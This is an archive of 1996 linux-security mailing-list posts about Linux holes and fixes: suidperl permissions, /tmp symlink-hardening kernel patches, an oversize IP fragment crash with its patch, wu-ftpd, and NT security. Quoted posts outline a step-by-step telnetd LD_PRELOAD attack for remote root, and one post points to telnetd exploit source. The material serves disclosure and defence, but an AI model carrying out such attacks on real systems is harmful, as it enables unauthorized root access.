charset=US-ASCII Sender: [email protected] Precedence: list I've found security hole in installation of suidperl from RedHat 4.0. After installation it has suid bit AND sgid bit set. It needs only suid bit. When you leave sgid bit on, it will allow anybody to gain access to group 0 (root). So do immediatelly "chmod g-s /usr/bin/suidperl" as root, if you have RedHat 4.0 installed. Leos Bitto From [email protected] Fri Oct 18 13:57:31 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id NAA23206; Fri, 18 Oct 1996 13:57:31 -0400 Date: 18 Oct 1996 14:16:05 -0000 Message-ID: <[email protected]> From: Bryan Reece To: [email protected] CC: [email protected], [email protected], [email protected] In-reply-to: <[email protected]> (message from Rob van Nieuwkerk on Thu, 17 Oct 1996 12:53:46 +0200 (MET DST)) Subject: Re: [linux-security] Attempt to break through ftp Sender: [email protected] Precedence: list From: Rob van Nieuwkerk Date: Thu, 17 Oct 1996 12:53:46 +0200 (MET DST) > Basic (remote) attack goes as follows: > > 1) FTP this library into a site's incoming area. > > 2) Start telnet. > > 3) Pass the fully-qualified path to the library in the remote system's > FTP incoming area as $LD_PRELOAD via telnet's environment-passing > features. > > 4) Connect to the remote system. > > 5) You've now got root on the remote system, without any authentication. > Local attack varies in that you can use /tmp for stashing the library > and then just connect to localhost. (These instructions can all be > found in the readme for the source code.) Does anyone know if SSH is vulnerable to this trick ? Shouldn't be, since it doesn't exec anything as root, and other than TERM (whatever the client wants) and DISPLAY (set to a fake value if the client wants), ssh seems not to let the client affect any variables. linux-security/linux-security.961019100664 1767 1767 31132 6232172112 16640 0ustar majdommajdomFrom [email protected] Sat Oct 19 05:29:06 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id FAA31248; Sat, 19 Oct 1996 05:29:06 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] lots of in.comsat calls lately... To: [email protected] Date: Sat, 19 Oct 1996 02:22:51 -0400 (EDT) Cc: [email protected] In-Reply-To: from "Bruno Boettcher" at Oct 17, 96 09:39:44 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > last days i had lots of reports about in.comsat calls from other hosts in > my domain.... > Are there only goofy users or is there any exploit on this? I don't know of any issues in in.comsatd, but if you find any, let me know. Is there any reason comsatd should ever accept packets from anyplace other than localhost? In any event unless you actually need comsatd I'd recommend shutting it off. It's not a terribly great idea in a number of ways. > [REW: There certainly are holes in comsat when your utmp file is > world writable, (which some people do to be able to strip the suid bit > off xterm and friends.)] I believe the current comsatd source is reasonably resistant to these problems, due to some Sun exploits that were floating around a few years ago. There are certainly easier ways to attack via a writeable utmp than comsatd. -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino From [email protected] Sat Oct 19 05:45:06 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id FAA31278; Sat, 19 Oct 1996 05:45:06 -0400 From: [email protected] (Andrzej K. Brandt) Message-Id: <[email protected]> Subject: Re: [linux-security] Security hole in installation of suidperl from RedHat 4.0 In-Reply-To: from Leos Bitto at "Oct 18, 96 03:53:09 pm" To: [email protected] (Andrzej K. Brandt) Date: Sat, 19 Oct 1996 10:06:52 +0100 (MET) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Leos Bitto wrote: > I've found security hole in installation of suidperl from RedHat 4.0. After > installation it has suid bit AND sgid bit set. It needs only suid bit. > When you leave sgid bit on, it will allow anybody to gain access to group > 0 (root). So do immediatelly "chmod g-s /usr/bin/suidperl" as root, if > you have RedHat 4.0 installed. I've just installed RedHat 4.0 for Sparc - and suidperl hasn't sgid set. -- /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I [email protected] I [email protected] I +-------------------+--------+-----+-------------+-------------------------+ | http://melkor.mimuw.edu.pl/~andy | IRC: Emin | PGP key available | \--------------------------------------------------------------------------/ From [email protected] Sat Oct 19 07:58:20 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id HAA31567; Sat, 19 Oct 1996 07:58:20 -0400 From: Andrew Tridgell To: [email protected] CC: [email protected], [email protected], [email protected] In-reply-to: ([email protected]) Subject: [linux-security] Re: t bit and symlinks patch Reply-to: [email protected] Message-Id: <[email protected]> Date: Sat, 19 Oct 1996 10:50:55 +1000 Sender: [email protected] Precedence: list Alan wrote: > Nice idea. IMHO however the fix is to stop people writing applications > that use /tmp for everything. /tmp was a great idea once upon a time. Its > value nowdays is a bit questionable. Better that daemons use /var/run > and applications $HOME/.files I generally agree, its just that I think its hard to actually change all those programs (and programmers) out there that use /tmp. I also think that the change does in fact breath new life into /tmp. Are there any /tmp related security holes that it doesn't fix? There probably are some, its just that I can't think of them right now. Anyway, I've updated my patch slightly. I changed it so that symlinks owned by root are not affected. This is safe and means it breaks less things. With my original patch I found that one thing broke on my mail server. I had a link called "tridge" owned by root in /var/spool/mail that pointed to /home/tridge/InBox (due to a transition in mailer behaviour). I also had /var/spool/mail world writeable with the t bit set. My original patch meant I couldn't run programs that referenced /var/spool/mail/tridge. This is now the active bit of the patch: if (S_ISLNK(inode->i_mode) && (dir->i_mode & S_ISVTX) && inode->i_uid != 0 && current->fsuid != inode->i_uid) { iput(dir); iput(inode); *res_inode = NULL; return -EPERM; } the full patch is available from ftp://samba.anu.edu.au/pub/linux/symlink.patch Cheers, Andrew From [email protected] Sat Oct 19 08:01:45 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id IAA31609; Sat, 19 Oct 1996 08:01:45 -0400 Date: Fri, 18 Oct 1996 13:37:05 -0500 (CDT) From: Yuri Volobuev To: Michael Meskes Cc: [email protected] Subject: Re: [linux-security] WinNT security? In-Reply-To: <[email protected]> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list > My company uses NT on most machines and intends to use it for the upcoming > internet connection, too. Now I wonder whether there's any reason to use > NT over Linux? Or in other words does anyone have amountion for me to > talk them into using Linux on the primary net machine? There were some pretty nasty problems with weak algorithm used for storing encrypted passwords on the disk (the original bug was discovered in Win95, but it may apply to NT). It was breakable in <1sec on a slow Sun with proper cracker. I also heard about bad problems with file sharing: one may export one folder ro and anyone on the subnet can access whole disk (with weakly encrypted passwords on it). On the other hand, NT is C2-certified. I don't like M$ and I don't want to engage in a flame war, so I won't comment. We had a similar discussion here recently, and Linux won. The winning argument was: ok, all OSes have holes. What happens if there's a hole in Linux? You look in the source and fix it, or wait couple days and apply a patch. What happens if hole is found in NT? You are screwed. The bug _may_ be fixed in the next Service Pack, which will be released b.g.-knows-when. Also, the only good test for any security system is exposing its source to the public for rigorous testing. > This may be off-topic but does anyone know if there's a similar list for > NT? from http://www.it.kth.se/~rom/ntsec.html There is a NT security mailing list maintained by the good folks at ISS. You subscribe to it by sending a mail to [email protected] with the body containing the string "subscribe ntsecurity your email". The mailinglist have some traffic and on-going discussion, and some people might prefer to subscribe to the digest version instead to reduce their incoming mail. The digest is available by sending mail to the same address but with the text "subscribe ntsecurity-digest your email". --- yuri From [email protected] Sat Oct 19 08:02:35 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id IAA31651; Sat, 19 Oct 1996 08:02:35 -0400 Date: Fri, 18 Oct 1996 18:35:32 +0300 (EET DST) From: =?ISO-8859-1?Q?Johan_Myr=E9en?= To: [email protected] cc: [email protected] Subject: [linux-security] Re: t bit and symlinks patch In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Fri, 18 Oct 1996, Marty Leisner wrote: > I really think that maybe some runtime sysconfig > program would be desirable, instead of adding configuration > options? Or a per file system mount option? All other settings comparable to this are mount options (nosuid, exec, user, ...) Johan Myreen [email protected] From [email protected] Sat Oct 19 08:14:00 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id IAA31806; Sat, 19 Oct 1996 08:14:00 -0400 X-Sender: [email protected] X-Mailer: Windows Eudora Version 1.4.4 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 18 Oct 1996 11:21:16 -0400 To: [email protected] From: [email protected] (Twiggy) Subject: Re: [linux-security] WinNT security? Message-ID: <[email protected]> Sender: [email protected] Precedence: list >I just noticed that NT only send encrypted passwords over the net. This >seems to be a good idea. I just wonder how secure there algorithms are. >Does anyone know how it compares to ssh? you may want to look into NT's telnet and ftp services before discussing any "robust encryption" they offer. NT's encryption of PWL files is also a serious issue. i have doubts any encryption found in any build of NT could compare to ssh in terms of integrity. this could be quite compounded if Microsoft uses proprietary encryption standards (which they have implemented in NT's RAS, at least in 3.51) and doesn't provide any real information on them, which unfortunately seems likely. [REW: Of course their encryption is weak. Otherwise they wouldn't be allowed to export it! Right?] >This may be off-topic but does anyone know if there's a similar list for NT? send mail to [email protected] and include in the body: subscribe ntsecurity twiggy [email protected] http://www.suicide.org From [email protected] Sat Oct 19 08:17:32 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id IAA31838; Sat, 19 Oct 1996 08:17:32 -0400 From: Robert Luce Message-Id: <[email protected]> Subject: [linux-security] safe ftpd's To: [email protected] Date: Fri, 18 Oct 1996 09:22:12 -0700 (PDT) X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list I keep seeing all these messages about problems with wu-ftpd that seem almost unsurmountable.. tell me, is there a known safe ftpd for linux? If so, where can it be found? ---- Bob Luce "Il faut supporter deux ou trois chenilles System/News Administrator si on veut connaitre les papillons.." - Antoine de Saint-Exupery Finger [email protected] for PGP Public Key Block From [email protected] Sat Oct 19 11:31:21 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id LAA32702; Sat, 19 Oct 1996 11:31:21 -0400 From: [email protected] (Wietse Venema) Message-Id: <[email protected]> Subject: Re: [linux-security] Re: t bit and symlinks patch To: [email protected] Date: Sat, 19 Oct 96 14:37:21 MET DST In-Reply-To: Organization: Eindhoven University of Technology, P.O. Box 513, 5600 MB Eindhoven, The Netherlands X-Phone: +31 40 2472989 X-Fax: +31 40 2465995 X-Private: +31 40 2433327 X-Mailer: ELM [version 2.3 PL11] Sender: [email protected] Precedence: list To my surprise the discussion focuses entirely on symlink attacks from world-writable directories. I remind the reader that many of these attacks are also possible when sensitive files can be hardlinked to, for example, the /tmp directory. Wietse linux-security/linux-security.961020100664 1767 1767 33250 6232401167 16640 0ustar majdommajdomFrom [email protected] Sun Oct 20 01:56:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id BAA04369; Sun, 20 Oct 1996 01:56:12 -0400 Message-Id: Subject: Re: [linux-security] WinNT security? To: [email protected] (Yuri Volobuev) Date: Sat, 19 Oct 1996 11:09:30 -0400 (EDT) From: "Michael H. Warfield" Cc: [email protected], [email protected] In-Reply-To: from "Yuri Volobuev" at Oct 18, 96 01:37:05 pm X-Mailer: ELM [version 2.4 PL20] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list This really is off topic but there is enough miss-information (BOTH WAYS) here that it HAS to be addressed! Yuri Volobuev enscribed thusly: > > My company uses NT on most machines and intends to use it for the upcoming > > internet connection, too. Now I wonder whether there's any reason to use > > NT over Linux? Or in other words does anyone have amountion for me to > > talk them into using Linux on the primary net machine? > There were some pretty nasty problems with weak algorithm used for storing > encrypted passwords on the disk (the original bug was discovered in Win95, > but it may apply to NT). It was breakable in <1sec on a slow Sun with > proper cracker. I also heard about bad problems with file sharing: one may > export one folder ro and anyone on the subnet can access whole disk (with > weakly encrypted passwords on it). NO! This has NOTHING to do with NT. This was a Windows 95 stupidity, pure and simple. Windows NT has NEVER been subject to the same type of password vulnerability that the anal retentive Windows 95 was. Windows NT stores passwords in it's registry and is at least as secure as Linux with shadow passwords enabled. Window 95 use stupid, asinine, *.pwl files which used weak encryption (now much improved) and the user id in both the file name and in a known location in the file (still the same and enabling known text cryptographic analysis). Anyone using Windows 95 in a secure business setting is a jerk, but don't paint Windows NT with that brush. Windows 95 had a problem commonly refered to as a "dot...dot" bug where someone could request a file ../../../foo.bar and walk past the root of a share. This made your entire hard drive (including those lovely vulnerable .pwl files) available to anyone if you shared anything. Windows NT version 3.5 and Windows 3.51 prior to service pack 4 had a type of "dot...dot" bug, but in there case it just blew them back to the blue screen of death (NT equivalent of a kernel panic). This is not nearly as serious since an intruder could only disrupt your system, they couldn't steal anything from it like passwords. This is fixed in current versions of NT. > On the other hand, NT is C2-certified. I don't like M$ and I don't want to > engage in a flame war, so I won't comment. We had a similar discussion here > recently, and Linux won. The winning argument was: ok, all OSes have holes. > What happens if there's a hole in Linux? You look in the source and fix it, > or wait couple days and apply a patch. What happens if hole is found in NT? > You are screwed. The bug _may_ be fixed in the next Service Pack, which > will be released b.g.-knows-when. Also, the only good test for any security > system is exposing its source to the public for rigorous testing. Another case of pure unadulterated BULLSHIT and Microsoft hype! Windows NT 3.5 was evaluated for C2 but only if it had NO network and NO floppy drive and only on 3 particular models of PC! Real useful. But the silly chumps who buy NT quickly marched out and proclaimed to the world that NT was C2 certified! This is the same NT 3.5 that can be blown off the face of the map by the dot...dot bug and upgrading invalidated the evaluation criterion (but then so did the network connection :-) ). So much for C2. [REW: Deleted the umtieth reference to the NT security lists.] Mike -- Michael H. Warfield | (770) 985-6132 | [email protected] (The Mad Wizard) | (770) 925-8248 | http://www.wittsend.com/mhw/ NIC whois: MHW9 | An optimist believes we live in the best of all PGP Key: 0xDF1DD471 | possible worlds. A pessimist is sure of it! From [email protected] Sun Oct 20 06:43:41 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id GAA05721; Sun, 20 Oct 1996 06:43:41 -0400 Message-Id: <[email protected]> From: Runar Jensen To: [email protected] Subject: [linux-security] ncpmount/ncpumount Date: Sun, 13 Oct 1996 19:07:32 -0500 Sender: [email protected] Precedence: list I haven't had a chance to look at the source code yet, but it appears that ncpmount and ncpumount suffer from exactly the same problem that mount and umount did. In fact, the mount exploit that was so widely circulated works with ncpumount with no modifications. ncpmount/ncpumount are part of the ncpfs package, which allows Linux to communicate with Netware servers. From the manpage: ncpfs is a linux filesystem which understands the NCP protocol. This is the protocol Novell NetWare clients use to talk to NetWare servers. ncpfs was inspired by lwared, a free NetWare emulator for Linux written by Ales Dryak. See ftp://klokan.sh.cvut.cz/pub/linux for this very intersting program. I'm not sure what the latest version of this package is; the one I used to verify this is v0.18. [REW: The test squad reported that the latest version still has this bug....] .../ru ---------------------------------------------------------------------------- Runar Jensen | Phone: (318) 289-0125 | E-mail: [email protected] System Administrator | Fax: (318) 235-1447 | E-pager: [email protected] FirstNet of Acadiana | Pager: (318) 268-8556 | [message in subject] ---------------------------------------------------------------------------- From [email protected] Sun Oct 20 06:43:46 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id GAA05734; Sun, 20 Oct 1996 06:43:46 -0400 Date: Sun, 20 Oct 1996 00:30:44 -0500 (CDT) From: Yuri Volobuev To: [email protected] Subject: [linux-security] certifications, etc. Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hi I guess I didn't make myself clear. Yes, I know that NT isn't C2 if it's on the net, it wasn't my point. The point is: Linux has no certification at all, not even C3, and probably never will, by its very nature. [REW: (*)] I personally don't regret about it, but people who have bosses do. If you are a corporate IS, you have to look at things differently. Even if such a person knows Linux is better, he/she still has to prove it to the Boss, and in such an argument NT certainly sounds better than Linux. It's not only security, it's everything. Open any PC Mag and you'll see what I mean. If Linux ever gets mentioned, it's only like an interesting phenomena, not like a trustworthy OS. It pisses me of each time, but unfortunately it's true -- Linux isn't a corporate users choice. There are exceptions, but... And security is one of the points. While Linux is (IMHO) is better, NT is safer. [REW: (#)] "No one ever got fired for buying IBM" - Micro$oft plays the same game. It's not an advocacy group, so... On the other hand, NT exists for few years now, without many serious security problems discovered, while Unices have dozens of them, some inherently difficult to fix (just looking at sendmail history can make one think NT), because Unix architecture is better known and many utilities share common parts of source code available to public, so finding holes is easier. Linux holes are known better than holes in any other OS (see CERT advisories). So even though C2 is empty buzzword, it does reflect the reality in some sense, -- and that's what I originally meant. yuri [REW: (*) I don't think that that is true. Eventually someone will simply go out and ask for C2 certification, just like it was done with Posix. (Yes, we're not even close yet....) I think that the Microsoft policy of "try to prevent CERT warnings about NT" is paying off. The Unix vendors have been blackmailed into allowing CERT warnings. This way everyone is informed that there is an occasional security hole discovered, and that it's been fixed. In the Windows NT arena, you call microsoft, they tell you to disable the service, and maybe they'll fix it the next release a few years from now..... (#) I prefer to read this in the light of the following statement.... "NT is safer if you want to keep your job..... " :-) I'd like to close this discussion. I'll (always) make an exception for arguments that can help convice management to take a Linux system in favor of an NT system.] From [email protected] Sun Oct 20 06:43:58 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id GAA05759; Sun, 20 Oct 1996 06:43:58 -0400 Message-Id: To: [email protected] Subject: [linux-security] NFS, /proc, and nfsd --re-export Date: Sat, 19 Oct 1996 21:02:23 +0200 From: Olaf Kirch Sender: [email protected] Precedence: list Hi all, This is really no big deal, but maybe it's worthwhile to keep in mind. I recently started wondering what would happen when someone managed to write values to certain /proc files via NFS, and it sent cold shivers down my back. I looked a bit closer at it and found that the problem is a non-problem for most sites. The reason is that nfsd refuses to access file systems which reside on a device with major number 0. This is mainly aimed at denying transitive access to FSs mounted from other remote hosts. However, as a virtual FS, procfs also uses a major number of 0. This feature can be disabled when you specify the --re-export or -r flag, however. So, don't use --re-export, or, if you insist on doing so, e.g. because you wish to distribute a Novell FS to other UNIX clients, do yourself a favor and don't export your root fs (a bad habit anyway). Have a nice day Olaf From [email protected] Sun Oct 20 06:44:02 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id GAA05772; Sun, 20 Oct 1996 06:44:02 -0400 From: Michael Meskes Message-Id: <[email protected]> Subject: [linux-security] firewall again To: [email protected] Date: Sat, 19 Oct 1996 21:12:09 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL25 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list I just read that I don't need fwtk (or similar tools) to setup a firewall under Linux. All it needs is redir. From it's Debian description: redir is all you need to redirect traffic across firewalls authenticate based on an IP address etc etc. No need for the firewall toolkit. The functionality of inetd/tcpd and "redir" will allow you to do everything you need without screwy telnet/ftp etc gateways. (I assume you are running IP Masquerading of course.) Did anyone set up a firewall that way? I'd like to hear more about the how good it works. Michael -- Michael Meskes | _____ ________ __ ____ [email protected] | / ___// ____/ // / / __ \___ __________ [email protected] | \__ \/ /_ / // /_/ /_/ / _ \/ ___/ ___/ [email protected] | ___/ / __/ /__ __/\__, / __/ / (__ ) Use Debian GNU/Linux! | /____/_/ /_/ /____/\___/_/ /____/ From [email protected] Sun Oct 20 06:44:05 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id GAA05784; Sun, 20 Oct 1996 06:44:05 -0400 Date: Sat, 19 Oct 1996 17:25:36 -0400 (EDT) From: Shmoe X-Sender: [email protected] To: Robert Luce cc: [email protected] Subject: Re: [linux-security] safe ftpd's In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Fri, 18 Oct 1996, Robert Luce wrote: > is there a known safe ftpd for linux? most of the wu-ftpd problems are from people not running the current ver.. get beta 11 (12 could be out.. not sure) from ftp.academ.com [REW: Some people remark, "I use beta-11, and I haven't had any problems", but this is a non-argument. Why? Because of course the latest version has all known bugs fixed. If I don't trust sendmail anymore because of its track record, you can go shouting "but the latest version 8.x.y is safe!" all you want, but it won't convince me.... I think the wu-ftpd situation is better than sendmmail's, but that won't convince Robert.] /-------------------------\ /-------------------------------------------------\ | [email protected] | | GalaxyNet Oper/Admin | | [email protected] | | elpaso.tx.us.galaxynet.org/irc.aip.net | | [email protected] | | Channel Registration Commitee Member | \-------------------------/ \-------------------------------------------------/ linux-security/linux-security.961021100664 1767 1767 4525 6232715323 16626 0ustar majdommajdomFrom [email protected] Mon Oct 21 11:46:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id LAA21505; Mon, 21 Oct 1996 11:46:26 -0400 Resent-Date: Mon, 21 Oct 1996 11:45:26 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected], [email protected] Message-Id: <[email protected]> From: Alan Cox To: [email protected] Cc: [email protected], [email protected] Subject: [linux-security] URGENT: Bug in linux networking stack Date: Mon, 21 Oct 1996 10:25:45 +0100 X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list There is a nasty bug whereby AIX, Digital Unix, Linux and possibly some other systems can be brought down remotely by a suitably constructed oversize packet. Unfortunately a bug in another well known PC operating system means its easy to generate such packets. ** This bug is being actively exploited on the internet against all the ** mentioned systems. This fix should be considered essential as should ** other equivalent vendor fixes The following Linux fix drops such faulty frames and will also be included in 2.0.24 Alan Cox [Patch also available from http://www.uk.linux.org/patches/] --- ip_fragment.c.old Mon Sep 16 22:14:52 1996 +++ ip_fragment.c Sat Oct 19 01:04:47 1996 @@ -366,7 +366,7 @@ { NETDEBUG(printk("Invalid fragment list: Fragment over size.\n")); ip_free(qp); - frag_kfree_skb(skb,FREE_WRITE); + kfree_skb(skb,FREE_WRITE); ip_statistics.IpReasmFails++; return NULL; } @@ -466,6 +466,18 @@ return NULL; } } + + /* + * Attempt to construct an oversize packet. + */ + + if(ntohs(iph->tot_len)+(int)offset>65535) + { + skb->sk = NULL; + frag_kfree_skb(skb, FREE_READ); + ip_statistics.IpReasmFails++; + return NULL; + } /* * Determine the position of this fragment. linux-security/linux-security.961024100664 1767 1767 43472 6233774771 16672 0ustar majdommajdomFrom [email protected] Thu Oct 24 12:00:01 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id MAA22163; Thu, 24 Oct 1996 12:00:01 -0400 Message-Id: <[email protected]> X-face: ?/"MXina;Tt'.c6A>P1["3Wm#HCKX-/DEGN$1y[T?I6fCGFUTh]6'<@mJ&1TSRDlc_>|Lo' %b|.Rwf= `7~U>E@VElJ`RI\Sb1h X-Url: http://www.beckman.uiuc.edu/~baba/ Reply-to: Baba Z Buehler From: Baba Z Buehler To: Runar Jensen cc: [email protected] Subject: Re: [linux-security] ncpmount/ncpumount In-reply-to: Your message of "Sun, 13 Oct 1996 19:07:32 CDT." <[email protected]> Date: Mon, 21 Oct 1996 11:27:48 -0500 Sender: [email protected] Precedence: list Runar Jensen writes: > I haven't had a chance to look at the source code yet, but it appears that > ncpmount and ncpumount suffer from exactly the same problem that mount and > umount did. In fact, the mount exploit that was so widely circulated works > with ncpumount with no modifications. > Wouldn't the best thing to do be to roll ncp(un)mount, smb(un)mount into the standard Linux mount command? b -- # Baba Z Buehler - 'Hackito Ergo Sum' # Beckman Institute Systems Services, Urbana Illinois # # "It's no use loving someone who hates themself." -- Uncle Tupelo # # PGP public key on WWW homepage and key servers (key id: C13D8EE1) # WWW: http://www.beckman.uiuc.edu/~baba/ From [email protected] Thu Oct 24 12:00:41 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id MAA22209; Thu, 24 Oct 1996 12:00:41 -0400 From: Andrew Tridgell To: [email protected] CC: [email protected] In-reply-to: <[email protected]> ([email protected]) Subject: Re: [linux-security] Re: t bit and symlinks patch Reply-to: [email protected] Message-Id: <[email protected]> Date: Tue, 22 Oct 1996 09:01:36 +1000 Sender: [email protected] Precedence: list Wietse wrote: > Hard links, soft links, either is sufficient to attack sensitive files > by exploiting naive programs, but the `t' bit is not a requirement at > all. Am I missing something here? The security problems only occur when one user is able to create a link that affects what another users program will do. This occurs in directories to which multiple users can write. The main examples are /tmp, /var/spool/uucp, /var/spool/mail etc. When you want to make such directories "safe" while still enabling multiple users to write you set the t bit. The t bit means that only the owner of the file can delete the file, which is normally what is wanted in a shared directory. If you don't have the t bit set in a shared directory then you either trust everyone who can write to the directory or you are very insecure. The proposed changes to the behaviour of links extends this idea by making the t bit also limit other behaviour which is even more dangerous than allowing people to delete files. Allowing users to follow links owned by other users is more dangerous than allowing them to delete files because by following links they can destroy files anywhere on the system, not just the files created by the programs that write to /tmp. Cheers, Andrew From [email protected] Thu Oct 24 12:00:46 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id MAA22225; Thu, 24 Oct 1996 12:00:46 -0400 From: Andrew Tridgell To: [email protected] Subject: [linux-security] telnetd_exploit source Reply-to: [email protected] Message-Id: <[email protected]> Date: Mon, 21 Oct 1996 23:13:55 +1000 Sender: [email protected] Precedence: list I received a lot of requests for a copy of the source to the telnetd_exploit.tar.gz I mentioned in an earlier message to this list. If you want this package then look at http://www.deter.com/unix/ This site has lots of packages of this type, along with some interesting security related papers. Cheers, Andrew From [email protected] Thu Oct 24 12:00:52 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id MAA22240; Thu, 24 Oct 1996 12:00:52 -0400 From: Andrew Tridgell To: [email protected] CC: [email protected] In-reply-to: <[email protected]> ([email protected]) Subject: Re: [linux-security] Re: t bit and symlinks patch Reply-to: [email protected] Message-Id: <[email protected]> Date: Mon, 21 Oct 1996 23:51:07 +1000 Sender: [email protected] Precedence: list Wietse wrote: > To my surprise the discussion focuses entirely on symlink attacks from > world-writable directories. I remind the reader that many of these > attacks are also possible when sensitive files can be hardlinked to, > for example, the /tmp directory. You're dead right. I plan on doing an updated patch that fixes this and also addresses some of the other ideas people have sent me. I think we need to fix the hard link problem at link creation time rather than by checking for link counts at lookup time, because once the hard link is created its impossible to tell who created it, and thus we couldn't allow for root creating hard links in /tmp (which can be useful) So I propose that we disallow the creation of a hard link in a directory with the t bit set if the file being linked to is not owned by the process (as determined by the fsuid). This would not apply to processes with fsuid==0. So the full set of semantic changes would be: 1) don't follow symlinks in directories with the t bit set if the fsuid does not match the owner of the link, and the owner of the link is not root. This specifically includes the case where the fsuid is 0. 2) don't allow a process with fsuid!=0 to create a hard link in a directory with the t bit set to a file that it does not own. The 1st rule requires a change in fs/namei.c:follow_link() that I posted before The 2nd rule will require a few simple lines to be added to fs/namei.c:do_link() Some people have suggested more radical rules but I don't think they are warranted. I'm trying to come up with the minimum changes that make /tmp secure while not impacting significantly on legitimate uses. As far as configurability, I'd like to see these changes become the default, just like the changes that were made to eliminate setuid shell scripts, and the ones that drop source routed IP packets. I think these changes are of a quite different nature to the nosuid and noexec options, as those options would break the average linux system if they were on by default, whereas the proposed symlink and link changes should not be noticed on the vast majority of systems. The only "normal" things that might break is when people create a set of soft links in /tmp (perhaps using lndir) to setup some directory structure for a friend. I think that its not too much to ask people doing this to create a /tmp/user directory and put their links in there (this is quite safe). Without these changes there are just too many security holes waiting to happen in /tmp. The fact that you can wipe out files owned by anyone (including root) that runs gcc should give us all pause to think :-) Andrew From [email protected] Thu Oct 24 19:18:51 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id TAA25928; Thu, 24 Oct 1996 19:18:51 -0400 From: Alan Cox Message-Id: <[email protected]> Subject: Re: [linux-security] safe ftpd's To: [email protected] (Shmoe) Date: Sun, 20 Oct 1996 18:37:59 +0100 (BST) Cc: [email protected], [email protected] In-Reply-To: from "Shmoe" at Oct 19, 96 05:25:36 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > > is there a known safe ftpd for linux? > > most of the wu-ftpd problems are from people not running the current ver.. > get beta 11 (12 could be out.. not sure) from ftp.academ.com Nope. wu-ftpd has the buggy realpath (remember mount). Also if combined with generic gnu tar the results are disaster ( --rsh-command is a great option) Alan From [email protected] Thu Oct 24 19:18:54 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id TAA25939; Thu, 24 Oct 1996 19:18:54 -0400 Date: Tue, 22 Oct 1996 22:54:13 -0700 (PDT) From: Daniel Pewzner To: [email protected] Subject: [linux-security] Possible compromise? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I've noticed a couple of strange things on my system. First, I believe someone has apparently found some flaw in the wu-ftpd-2.4.2-BETA-10 that I have yet to read about. The /home/ftp directory was chown'd to ftp.bin, and I found a couple libs uploaded. My logs show: Sat Oct 19 21:19:24 1996 27 linux.netlink.net 634880 /libc.so.4 b _ i a a@ ftp 0 * Sat Oct 19 21:20:02 1996 31 linux.netlink.net 555179 /libc.so.5 b _ i a a@ ftp 0 * I fixed telnetd long ago, and /home/ftp/bin/ls is a static bin. I don't seem to see further access from this site beyond what look l like a couple or port scans on the same day. 